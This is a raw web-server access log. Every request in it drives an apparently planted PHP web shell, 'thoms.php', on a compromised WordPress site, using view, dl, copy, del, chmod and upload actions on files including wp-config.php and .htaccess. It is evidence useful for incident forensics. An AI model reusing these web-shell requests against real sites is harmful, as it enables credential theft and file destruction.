45.135.193.11 - - [11/Sep/2026:22:39:20 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-login.php HTTP/1.1" 200 29027 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&view=wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:20 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fcgi-bin HTTP/1.1" 200 12038 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:20 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Findex.php&p=bogroup.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Findex.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:20 -0400] "GET /thoms.php?dl=wp-login.php&p=bogroup.com.tw HTTP/1.1" 200 17355 "http://163.245.207.76:443/thoms.php?dl=wp-login.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:20 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-trackback.php HTTP/1.1" 200 14102 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&view=wp-trackback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:20 -0400] "GET /thoms.php?del=wp-trackback.php&p=bogroup.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?del=wp-trackback.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:20 -0400] "GET /bogroup.com.tw/.well-known/ HTTP/1.1" 200 780 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:20 -0400] "GET /thoms.php?p=bogroup.com.tw&settings=1 HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:20 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-includes&p= HTTP/1.1" 200 11820 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Fwp-includes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:20 -0400] "GET /thoms.php?dl=error_log&p=bogroup.com.tw HTTP/1.1" 200 17365 "http://163.245.207.76:443/thoms.php?dl=error_log&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:20 -0400] "GET /thoms.php?chmod=locoy.php&p=bogroup.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=locoy.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:20 -0400] "GET /thoms.php?chmod=readme.html&p=bogroup.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?chmod=readme.html&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:20 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-config.php&p=bogroup.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Fwp-config.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:21 -0400] "GET /thoms.php?chmod=wp-login.php&p=bogroup.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=wp-login.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:21 -0400] "GET /thoms.php?chmod=wp-cron.php&p=bogroup.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=wp-cron.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:21 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-load.php&p=bogroup.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Fwp-load.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:21 -0400] "GET /thoms.php?dl=wp-mail.php&p=bogroup.com.tw HTTP/1.1" 200 17364 "http://163.245.207.76:443/thoms.php?dl=wp-mail.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:21 -0400] "GET /thoms.php?p=bogroup.com.tw&view=xmlrpc.php HTTP/1.1" 200 13365 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&view=xmlrpc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:21 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Flog-seed&p= HTTP/1.1" 200 11815 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Flog-seed&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:21 -0400] "GET /thoms.php?del=xmlrpc.php&p=bogroup.com.tw HTTP/1.1" 200 17365 "http://163.245.207.76:443/thoms.php?del=xmlrpc.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:21 -0400] "GET /thoms.php?del=.htaccess&p=bogroup.com.tw HTTP/1.1" 200 17363 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:21 -0400] "GET /thoms.php?dl=license.txt&p=bogroup.com.tw HTTP/1.1" 200 17364 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:21 -0400] "GET /thoms.php?p=bogroup.com.tw&view=readme.html HTTP/1.1" 200 15232 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&view=readme.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:21 -0400] "GET /thoms.php?dl=wp-load.php&p=bogroup.com.tw HTTP/1.1" 200 17364 "http://163.245.207.76:443/thoms.php?dl=wp-load.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:21 -0400] "GET /thoms.php?chmod=.well-known&p=bogroup.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=.well-known&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:21 -0400] "GET /thoms.php?del=catalog-build&p=bogroup.com.tw HTTP/1.1" 200 17356 "http://163.245.207.76:443/thoms.php?del=catalog-build&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:21 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fupgrade&p= HTTP/1.1" 200 11805 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:22 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=bogroup.com.tw HTTP/1.1" 200 17363 "http://163.245.207.76:443/thoms.php?dl=wp-config-sample.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:21 -0400] "GET /bogroup.com.tw/wp-load.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:22 -0400] "GET /thoms.php?p=bogroup.com.tw%2Flog-seed HTTP/1.1" 200 13417 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw%2Flog-seed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:22 -0400] "GET /thoms.php?p=bogroup.com.tw&view=.htaccess HTTP/1.1" 200 12733 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:22 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Flocoy.php&p=bogroup.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Flocoy.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:22 -0400] "GET /bogroup.com.tw/wp-includes/ HTTP/1.1" 200 9353 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:22 -0400] "GET /thoms.php?dl=mah.php&p=bogroup.com.tw HTTP/1.1" 200 17364 "http://163.245.207.76:443/thoms.php?dl=mah.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:22 -0400] "GET /bogroup.com.tw/thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:22 -0400] "GET /thoms.php?chmod=wp-signup.php&p=bogroup.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?chmod=wp-signup.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:22 -0400] "GET /bogroup.com.tw/thoms.php?p= HTTP/1.1" 200 17931 "https://163.245.207.76/bogroup.com.tw/thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:22 -0400] "GET /thoms.php?del=thoms.php&p=bogroup.com.tw HTTP/1.1" 200 17363 "http://163.245.207.76:443/thoms.php?del=thoms.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:22 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-blog-header.php&p=bogroup.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Fwp-blog-header.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:22 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=bogroup.com.tw HTTP/1.1" 200 17364 "http://163.245.207.76:443/thoms.php?dl=wp-blog-header.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:22 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=bogroup.com.tw HTTP/1.1" 200 17365 "http://163.245.207.76:443/thoms.php?dl=wp-links-opml.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:22 -0400] "GET /thoms.php?del=wp-mail.php&p=bogroup.com.tw HTTP/1.1" 200 17365 "http://163.245.207.76:443/thoms.php?del=wp-mail.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:22 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-settings.php&p=bogroup.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Fwp-settings.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:23 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=bogroup.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?chmod=wp-comments-post.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:22 -0400] "GET /bogroup.com.tw/wp-trackback.php HTTP/1.1" 200 157 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:23 -0400] "GET /thoms.php?chmod=wp-admin&p=bogroup.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?chmod=wp-admin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:23 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=bogroup.com.tw HTTP/1.1" 200 17353 "http://163.245.207.76:443/thoms.php?dl=wp-comments-post.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:23 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-login.php&p=bogroup.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Fwp-login.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:23 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-mail.php&p=bogroup.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Fwp-mail.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:23 -0400] "GET /bogroup.com.tw/wp-content/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:23 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fcatalog-build HTTP/1.1" 200 13292 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw%2Fcatalog-build" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:23 -0400] "GET /bogroup.com.tw/wp-login.php HTTP/1.1" 404 15865 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:23 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 11819 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Fcgi-bin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:23 -0400] "GET /bogroup.com.tw/readme.html HTTP/1.1" 200 2990 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:23 -0400] "GET /thoms.php?del=error_log&p=bogroup.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?del=error_log&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:23 -0400] "GET /thoms.php?chmod=mah.php&p=bogroup.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=mah.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:23 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-config-sample.php&p=bogroup.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Fwp-config-sample.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:23 -0400] "GET /thoms.php?dl=wp-settings.php&p=bogroup.com.tw HTTP/1.1" 200 17364 "http://163.245.207.76:443/thoms.php?dl=wp-settings.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:23 -0400] "GET /thoms.php?p=bogroup.com.tw&view=error_log HTTP/1.1" 200 13102 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:23 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Flicense.txt&p=bogroup.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Flicense.txt&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:24 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-signup.php HTTP/1.1" 200 22508 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&view=wp-signup.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:24 -0400] "GET /bogroup.com.tw/wp-config.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:24 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-trackback.php&p=bogroup.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Fwp-trackback.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:24 -0400] "GET /bogroup.com.tw/catalog-build/ HTTP/1.1" 200 6355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:24 -0400] "GET /thoms.php?del=readme.html&p=bogroup.com.tw HTTP/1.1" 200 17366 "http://163.245.207.76:443/thoms.php?del=readme.html&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:24 -0400] "GET /thoms.php?chmod=log-seed&p=bogroup.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?chmod=log-seed&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:24 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-admin&p= HTTP/1.1" 200 11805 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Fwp-admin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:24 -0400] "GET /thoms.php?copy=bogroup.com.tw%2F.htaccess&p=bogroup.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2F.htaccess&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:24 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-activate.php&p=bogroup.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Fwp-activate.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:24 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=bogroup.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=wp-links-opml.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:24 -0400] "GET /thoms.php?dl=wp-cron.php&p=bogroup.com.tw HTTP/1.1" 200 17366 "http://163.245.207.76:443/thoms.php?dl=wp-cron.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:24 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fxmlrpc.php&p=bogroup.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Fxmlrpc.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:24 -0400] "GET /thoms.php?p=bogroup.com.tw&upload= HTTP/1.1" 200 12154 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:24 -0400] "GET /thoms.php?dl=index.php&p=bogroup.com.tw HTTP/1.1" 200 17364 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:25 -0400] "GET /thoms.php?p=bogroup.com.tw&view=license.txt HTTP/1.1" 200 20075 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:24 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fwp-admin HTTP/1.1" 200 28771 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:25 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fthoms.php&p=bogroup.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Fthoms.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:25 -0400] "GET /bogroup.com.tw/log-seed/ HTTP/1.1" 200 6400 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:25 -0400] "GET /thoms.php?chmod=wp-load.php&p=bogroup.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=wp-load.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
